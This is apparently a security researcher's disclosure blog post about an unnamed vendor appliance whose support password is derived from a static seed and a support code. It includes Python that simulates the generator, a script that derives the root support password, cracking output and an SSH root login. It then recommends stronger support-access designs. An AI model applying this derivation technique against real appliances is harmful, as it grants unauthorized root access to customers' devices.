Vendors often have interesting ways to facilitate support for their appliances. Today, I'll discuss a few ways we have seen it implemented: one that is vulnerable to exploitation and others that aren't so bad.

When we find vulnerabilities doing independent research, we work with the vendors through our disclosure program to attempt to get the issues fixed, and we are free to publish whether or not the vendor addresses the problems. Occasionally while on an engagement for a client, we come across one or more vulnerabilities in third-party platforms. When this happens, we work with our client to inform their vendor in an effort to get the vulnerabilities corrected, and coordinate disclosure.

Usually, vendors are responsive, and our client and other customers of that vendor get the fix. However, it does not always work that way.

In one case, the vendor declined to fix a vulnerability in a remote admin feature, saying that they did not agree it was a vulnerability. Meanwhile our client does agree it is a problem - and thus does not want us to name names because we have no workaround for them (other than "don't use that feature; switch to a more secure product"). I won't be able to discuss what company or product is affected by the vulnerability, but I sure can discuss the problem in the abstract. Also, the vulnerability is still out there as they refused to address it. ;-)

There are a few assumptions that I make during this explanation. The first is that the attacker has access to a non-unique seed, which is baked into every one of these devices. The second is that the attacker knows the name of the vendor support account. Both of these can be obtained through reverse engineering various binaries and scripts on the platform (that's how I got them). The platform was virtualized, and that conveniently allowed me to convert the VMDK into a raw format such that the filesystem could be mounted locally and perused at my leisure.

The next assumption is that the attacker has obtained access to or can generate something called a support code. This code is a value that is generated by a command run on the device, and then communicated by the customer to the vendor. The vendor then uses an algorithm to derive a password from a support code that can subsequently be used to authenticate (over SSH) to a support account on the platform. In the case I discovered, the support account had root privileges.

The vendor denied our submission on the basis that the jailed shell was more-or-less equivalent in capability to a root shell. But the documentation indicates this root access is only for remote support by the vendor - not that anyone with access to a support code, or to the jailed, restricted shell can gain a root shell, install a rootkit or malicious kernel modules, etc. When we have found similar issues in other vendors' appliances, they have considered it significant and swiftly worked to address it.

On to the technical details!

It starts with two user accounts, a non-root user with a custom shell who can sudo some commands, and a support user with uid zero and a regular shell, which only the vendor is expected to be able to access:

# cat /etc/passwd
...
demo:x:1000:1000:demo,,,:/home/demo:/usr/bin/demo_shell
support:x:0:0:support,,,:/home/support:/bin/sh
...
# ls -la /usr/bin/demo_shell
-rwxr-xr-x 1 demo demo 1085 Jul  8 19:28 /usr/bin/demo_shell

Think of the demo user, and their custom shell, as the typical CLI user for an appliance, with a restricted interface that only allows certain specific device management commands. User demo is allowed to sudo some things such as:

# cat /etc/sudoers
...
demo    ALL=(ALL:ALL) NOPASSWD:/usr/sbin/chpasswd -c MD5
...

In the device we tested, the custom shell was a binary, with various features. In this example I show some Python code I have written that simulates (just) the password generation feature we observed. You'll notice the seed value is static, and the input variable is randomly generated using a limited keyspace, uppercase letters; these are representative of the device's code that I reverse engineered. The tested device's maximum length (for both the value and new_pw variable) was less than the value (12) I have chosen.

(For simplicity, I removed a timing feature which required their equivalent of support() to generate the same value for twenty four hours, and which expired the generated password after that. It did add a bit more obscurity to the whole thing, but in the end it didn't save them, and it won't save you either.)

#!/usr/bin/python

from hmac import new as new_hmac
from base64 import b64encode
from random import randrange
from hashlib import sha256
from os import system
from sys import exit

seed = b"ABCDEFGH1234567890"

def support():
	value,letters = "",['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z']
	for i in xrange(0x0,0xc):
		value+=letters[randrange(0x0,0x1a)]
	new_pw = b64encode(new_hmac(seed, msg=value, digestmod=sha256).digest())[0x0:0xc]
	system('echo support:%s | /usr/bin/sudo /usr/sbin/chpasswd -c MD5' % (new_pw))
	print "Support code: %s" % (value)
	return

def help():
	print "\tsupport\t-\tEnable technical support."
	print "\tquit\t-\tQuit session."
	return

def main():
	while True:
		try:
			command = raw_input("> ")
			if (command == "help"):
				help()
			if (command == "support"):
				support()
			if (command == "quit"):
				exit(0)
		except Exception as e:
			print "Error: %s" % (e)
    print ""
	return

if __name__=="__main__":
	main()

When an end user of the platform needs to request vendor assistance, they simply enable the support shell and are provided with the support code. The attacker must either have access to the demo / low-privilege session to run the command, or somehow get ahold of this value. This could be achieved by reading an email, searching a filesystem, listening in on a phone call, or any other method that would typically work for information gathering.

$ ssh demo@[redacted]
demo@[redacted]'s password:
> help
	support	-	Enable technical support.
	quit	-	Quit session.
> support
Support code: SSGEXKVWJACO
> quit

Once the 'support' option has been selected, the support shell generates a new password and updates the support user's password hash in /etc/shadow (see below).

$ cat shadow-excerpt.txt
support:$1$vJQcV/IW$eQ46wZsawuWuRzXI9zFJK0:16991:0:99999:7:::

So, as an attacker, I need two things. The globally assigned seed value and the support code. With these two pieces of information, I can then generate the password for the support account by simply recreating the same process that the vendor's platform uses.

#!/usr/bin/python

from hmac import new as new_hmac
from hashlib import sha256
from base64 import b64encode

def main():
        print b64encode(new_hmac(b"ABCDEFGH1234567890", msg="SSGEXKVWJACO", digestmod=sha256).digest())[0x0:0xc]
        return

if __name__=="__main__":
        main()

The shadow file can then be cracked to validate that the password generated by the platform matches what I've generated. The target asset can now be logged into as if you were the vendor.

$ john shadow-excerpt.txt
Loaded 1 password hash (FreeBSD MD5 [32/64 X2])
JgsA7zsMg/bq     (support)
guesses: 1  time: 0:00:00:00 100%  c/s: 100  trying: JgsA7zsMg/bq
$ ssh support@[redacted]
support@[redacted]'s password:
support@debian:~#

So, this is obviously a bad idea. How can it be done better? Interestingly enough, having found this got me interested in how other vendors tackle the same problem. I came across one (who deserves props but I won't name them) that utilizes a process that I wasn't able to defeat in the time available. It combined dynamic SSH key generation, an HTTPS API with Certificate Pinning, and reverse SSH Port Forwards.

There is a preconfigured, persistent public key in root's authorized_keys file, for which the vendor's back-end support holds the private key. However, sshd is only accessible from localhost. Each time the 'support' command is run, a new local keypair is generated. The new public key is then sent to a support server at the vendor using an HTTPS API which performs a Certificate Pinning check. The public key is then added to their server's support account (and any previous public key for that device is revoked) running what I assume is a heavily restricted SSHD configuration. An SSH connection is then established to create a reverse port forward on their support server. A support technician can then log into the customer's device remotely. In my opinion, this is a much better approach than the one described above.

We have seen less elaborate systems that were still an improvement over what this device used. For instance, configuring sshd to require multiple authentication methods, such as public-private key plus password. Ship devices with a baked-in public key (and don't include the private key, F5), and use a temporary-password method like what was in place here. That way an attacker cannot gain access without the vendor's private key, and the vendor cannot gain access without the customer enabling support access. Not perfect, but much better, and would require minimal changes to the vendor's builds and workflows.

Anyhow, I wish the vendor in question would have responded differently, but that's life. The ostrich approach is preferred by some organizations.